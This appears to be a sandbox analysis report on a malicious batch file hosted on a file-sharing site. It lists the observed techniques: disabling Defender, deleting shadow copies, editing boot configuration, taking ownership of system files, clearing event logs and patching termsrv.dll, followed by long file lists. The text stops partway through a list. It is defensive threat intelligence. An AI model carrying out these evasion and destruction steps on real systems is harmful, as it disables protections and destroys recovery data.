Analysis
- user interaction
yes - max time kernel
93s - max time network
96s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 00:37
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
https://www.mediafire.com/file/1spr27yfrzwv040/gg.bat/file
Resource
win10v2004-20260513-en
windows10-2004-x64
39 signatures
900 seconds
General
- Target https://www.mediafire.com/file/1spr27yfrzwv040/gg.bat/file
- Sample260804-aymkhsdr51
Malware Config
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 5464 bcdedit.exe 3400 bcdedit.exe - Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
pid Process 3352 powershell.exe - Disables use of System Restore points 1 TTPs
- Drops file in Drivers directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\rspndr.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\nwifi.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\usbstor.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\de-DE\WUDFUsbccidDriver.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\NfcCx.dll attrib.exe File opened for modification C:\Windows\System32\drivers\rasl2tp.sys attrib.exe File opened for modification C:\Windows\System32\drivers\sdbus.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\acpi.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\es-ES\mountmgr.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\es-ES\usbport.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\uk-UA\BTHUSB.SYS.mui attrib.exe File opened for modification C:\Windows\System32\drivers\Microsoft.Bluetooth.Legacy.LEEnumerator.sys attrib.exe File opened for modification C:\Windows\System32\drivers\NDKPing.sys attrib.exe File opened for modification C:\Windows\System32\drivers\UsbPmApi.sys attrib.exe File opened for modification C:\Windows\System32\drivers\fr-FR\CAD.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\MTConfig.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\it-IT\SensorsCx.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ksecpkg.sys attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\rdbss.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\fr-FR\tpm.sys.mui attrib.exe File opened for modification C:\Windows\SysWOW64\drivers\fr-FR attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\kbdclass.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\tpm.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\mshidkmdf.sys attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\i8042prt.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\smbdirect.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\fr-FR\processr.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\dmvsc.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\en-US\Microsoft.Bluetooth.Profiles.HidOverGatt.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\USBAUDIO.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\luafv.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\fvevol.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\netvsc.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\processr.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\USBHUB3.SYS.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\en-US\idtsec.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\Microsoft.Bluetooth.Profiles.HidOverGatt.dll attrib.exe File opened for modification C:\Windows\System32\drivers\mouhid.sys attrib.exe File opened for modification C:\Windows\System32\drivers\es-ES\wof.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\volmgr.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\i8042prt.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\tcpip.sys attrib.exe File opened for modification C:\Windows\System32\drivers\usbser.sys attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\modem.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\de-DE\UsbccidDriver.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE attrib.exe File opened for modification C:\Windows\System32\drivers\SerCx2.sys attrib.exe File opened for modification C:\Windows\System32\drivers\tunnel.sys attrib.exe File opened for modification C:\Windows\System32\drivers\Wdf01000.sys attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\pcmcia.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\srv2.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\pmem.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\WdfLdr.sys attrib.exe File opened for modification C:\Windows\System32\drivers\winusb.sys attrib.exe File opened for modification C:\Windows\SysWOW64\drivers\UMDF\en-US attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\rdvgkmd.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\fr-FR\srv2.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\mssmbios.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\exfat.sys attrib.exe File opened for modification C:\Windows\System32\drivers\i8042prt.sys attrib.exe File opened for modification C:\Windows\System32\drivers\mpsdrv.sys attrib.exe File opened for modification C:\Windows\System32\drivers\volmgrx.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\volmgr.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\kbdclass.sys.mui attrib.exe - Manipulates Digital Signatures 4 IoCs
Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.
description ioc Process File opened for modification C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll attrib.exe File opened for modification C:\Windows\System32\wintrust.dll attrib.exe File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pwrshsip.dll attrib.exe File opened for modification C:\Windows\SysWOW64\wintrust.dll attrib.exe - Possible privilege escalation attempt 2 IoCs
pid Process 6140 takeown.exe 4836 icacls.exe - Boot or Logon Autostart Execution: Print Processors 1 TTPs 1 IoCs
Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.
description ioc Process File opened for modification C:\Windows\System32\spool\prtprocs\x64\winprint.dll attrib.exe - Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini attrib.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 64 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBClient%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Security.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-VDRVROOT%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4FirewallDiagnostics.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Internet Explorer.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\System.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Diagnostic.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-WinRM%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\HardwareEvents.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Audio%4PlaybackManager.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-DeviceSetupManager%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-RestartManager%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Security.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-MUI%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Provisioning-Diagnostics-Provider%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Privacy-Auditing%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Provisioning-Diagnostics-Provider%4AutoPilot.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Restricted.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-VHDMP-Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Application.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Audio%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-LessPrivilegedAppContainer%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4LogonTasksChannel.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-TWinUI%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx attrib.exe - Modifies file permissions 1 TTPs 2 IoCs
pid Process 6140 takeown.exe 4836 icacls.exe -
pid Process 3352 powershell.exe - Drops desktop.ini file(s) 64 IoCs
description ioc Process File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..-kf-publiclibraries_31bf3856ad364e35_10.0.19041.1_none_cbd9ad4986c925d5\desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..i-accessibilityuser_31bf3856ad364e35_10.0.19041.1_none_19358785a81a86d6\Desktop.ini attrib.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini attrib.exe File opened for modification C:\Users\Admin\Searches\desktop.ini attrib.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini attrib.exe File opened for modification C:\Windows\Media\Desktop.ini attrib.exe File opened for modification C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini attrib.exe File opened for modification C:\Program Files\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini attrib.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini attrib.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini attrib.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..-kf-commondocuments_31bf3856ad364e35_10.0.19041.1_none_04c252e5678f305a\desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..l32-kf-programfiles_31bf3856ad364e35_10.0.19041.1_none_cb8c8caad1a2ad44\desktop.ini attrib.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini attrib.exe File opened for modification C:\Users\Public\Downloads\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\desktop.ini attrib.exe File opened for modification C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini attrib.exe File opened for modification C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini attrib.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini attrib.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini attrib.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini attrib.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini attrib.exe File opened for modification C:\Users\Public\AccountPictures\desktop.ini attrib.exe File opened for modification C:\Windows\Fonts\desktop.ini attrib.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..ktopini-accessories_31bf3856ad364e35_10.0.19041.1_none_a208296858c76413\Desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..ktopini-systemtools_31bf3856ad364e35_10.0.19041.1_none_345e4e1d2701732b\Desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..l32-kf-userprofiles_31bf3856ad364e35_10.0.19041.1_none_39d6d106c6f70bec\desktop.ini attrib.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini attrib.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..ini-accessoriesuser_31bf3856ad364e35_10.0.19041.1_none_d9f53b39b3834744\Desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini attrib.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini attrib.exe File opened for modification C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini attrib.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-shell-sounds_31bf3856ad364e35_10.0.19041.1_none_cd0389b654e71da2\Desktop.ini attrib.exe File opened for modification C:\Program Files (x86)\desktop.ini attrib.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini attrib.exe File opened for modification C:\Windows\Web\Wallpaper\Theme2\Desktop.ini attrib.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI attrib.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\History\desktop.ini attrib.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini attrib.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini attrib.exe File opened for modification C:\Users\Public\Libraries\desktop.ini attrib.exe File opened for modification C:\Windows\Downloaded Program Files\desktop.ini attrib.exe File opened for modification C:\Windows\Offline Web Pages\desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..ktopini-maintenance_31bf3856ad364e35_10.0.19041.1_none_148b41803c849a3c\Desktop.ini attrib.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini attrib.exe File opened for modification C:\Users\Public\Desktop\desktop.ini attrib.exe File opened for modification C:\Users\Public\Music\desktop.ini attrib.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..-kf-programfilesx86_31bf3856ad364e35_10.0.19041.1_none_3870d3554f39ac78\desktop.ini attrib.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini attrib.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\desktop.ini attrib.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini attrib.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-ie-objectcontrolviewer_31bf3856ad364e35_11.0.19041.1_none_2108f0881e5a7a03\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini attrib.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini attrib.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini attrib.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini attrib.exe - Power Settings 1 TTPs 1 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 4332 powercfg.exe - Drops autorun.inf file 1 TTPs 1 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
description ioc Process File opened for modification C:\Windows\BitLockerDiscoveryVolumeContents\autorun.inf attrib.exe - Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Product-Data-EKB-Wrapper-Package~31bf3856ad364e35~amd64~~10.0.19041.264.cat attrib.exe File opened for modification C:\Windows\System32\DriverStore\es-ES\netrtwlans.inf_loc attrib.exe File opened for modification C:\Windows\System32\en-US\dpapisrv.dll.mui attrib.exe File opened for modification C:\Windows\System32\en-US\srvsvc.dll.mui attrib.exe File opened for modification C:\Windows\SysWOW64\wbem\fr-FR\PrintManagementProvider.dll.mui attrib.exe File opened for modification C:\Windows\SysWOW64\Clipc.dll attrib.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\wpdcomp.inf_amd64_d5fc5f7282c9bafb\wpdcomp.inf attrib.exe File opened for modification C:\Windows\System32\DriverStore\ja-JP\hidserv.inf_loc attrib.exe File opened for modification C:\Windows\System32\pacjsworker.exe attrib.exe File opened for modification C:\Windows\SysWOW64\de-DE\Licenses\_Default\Professional\license.rtf attrib.exe File opened for modification C:\Windows\System32\CameraSettingsUIHost.exe attrib.exe File opened for modification C:\Windows\SysWOW64\Licenses\neutral\OEM\Professional\license.rtf attrib.exe File opened for modification C:\Windows\System32\de-DE\extrac32.exe.mui attrib.exe File opened for modification C:\Windows\System32\es-ES\PasswordEnrollmentManager.dll.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\msfeedsbs.dll.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\Windows.System.Profile.SystemManufacturers.dll.mui attrib.exe File opened for modification C:\Windows\SysWOW64\InstallShield attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Containers-Client-Manager-merged-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\DriverStore\it-IT\Netserv.inf_loc attrib.exe File opened for modification C:\Windows\System32\kbdgeoer.dll attrib.exe File opened for modification C:\Windows\System32\useractivitybroker.dll attrib.exe File opened for modification C:\Windows\System32\de-DE\ModernExecServer.dll.mui attrib.exe File opened for modification C:\Windows\System32\fr-FR\dmpushroutercore.dll.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\CBDHSvc.dll.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\cscui.dll.mui attrib.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic attrib.exe File opened for modification C:\Windows\System32\InfDefaultInstall.exe attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Networking-VirtualDevice-Synthetic-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\de-DE\eapsvc.dll.mui attrib.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\c_firmware.inf_amd64_36e4e17f210128ab attrib.exe File opened for modification C:\Windows\System32\DriverStore\fr-FR\btampm.inf_loc attrib.exe File opened for modification C:\Windows\System32\it-IT\MbaeParserTask.exe.mui attrib.exe File opened for modification C:\Windows\System32\Speech\Common\it-IT attrib.exe File opened for modification C:\Windows\System32\DriverStore\es-ES\NdisImPlatformMp.inf_loc attrib.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\sensorshidclassdriver.inf_amd64_b5ae080ff669eab3\SensorsHid.dll attrib.exe File opened for modification C:\Windows\System32\it-IT\wpncore.dll.mui attrib.exe File opened for modification C:\Windows\System32\WindowsPowerShell\v1.0\en-US\pspluginwkr.dll.mui attrib.exe File opened for modification C:\Windows\System32\de-DE\winresume.exe.mui attrib.exe File opened for modification C:\Windows\System32\Dism\it-IT\CbsProvider.dll.mui attrib.exe File opened for modification C:\Windows\System32\en-US\WinSCard.dll.mui attrib.exe File opened for modification C:\Windows\System32\ja-jp\NotificationController.dll.mui attrib.exe File opened for modification C:\Windows\SysWOW64\F12\fr-FR\F12Platform2.dll.mui attrib.exe File opened for modification C:\Windows\SysWOW64\msdmo.dll attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\WSHTCPIP.DLL attrib.exe File opened for modification C:\Windows\System32\en-US\findstr.exe.mui attrib.exe File opened for modification C:\Windows\System32\migration\AppxUpgradeMigrationPlugin.dll attrib.exe File opened for modification C:\Windows\System32\WaaSAssessment.dll attrib.exe File opened for modification C:\Windows\System32\es-ES\Apphlpdm.dll.mui attrib.exe File opened for modification C:\Windows\System32\es-ES\dot3dlg.dll.mui attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-msmq-server-Opt-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\en-US\smphost.dll.mui attrib.exe File opened for modification C:\Windows\System32\fr-FR\assignedaccessproviderevents.dll.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\diagtrack.dll.mui attrib.exe File opened for modification C:\Windows\System32\en-US\DAConn.dll.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\Mystify.scr.mui attrib.exe File opened for modification C:\Windows\System32\PickerPlatform.dll attrib.exe File opened for modification C:\Windows\System32\de-DE\msidntld.dll.mui attrib.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\netathr10x.inf_amd64_2691c4f95b80eb3b\eeprom_qca9377_1p1_NFA435_olpc_LE_13.bin attrib.exe File opened for modification C:\Windows\System32\en-US\iscsiexe.dll.mui attrib.exe File opened for modification C:\Windows\System32\en-US\uireng.dll.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\getmac.exe.mui attrib.exe File opened for modification C:\Windows\System32\it-IT\LanguageComponentsInstallerComHandler.exe.mui attrib.exe File opened for modification C:\Windows\System32\DdcAntiTheftApi.dll attrib.exe - Modifies termsrv.dll 1 TTPs 1 IoCs
Commonly used to allow simultaneous RDP sessions.
description ioc Process File opened for modification C:\Windows\System32\termsrv.dll attrib.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\System.Workflow.Activities.dll attrib.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsCalculator_10.1906.55.0_neutral_split.scale-125_8wekyb3d8bbwe\microsoft.system.package.metadata attrib.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_int_2x.gif attrib.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip attrib.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources\1033\msmdsrvi_xl.rll attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstaller.exe attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\mso50imm.dll attrib.exe File opened for modification 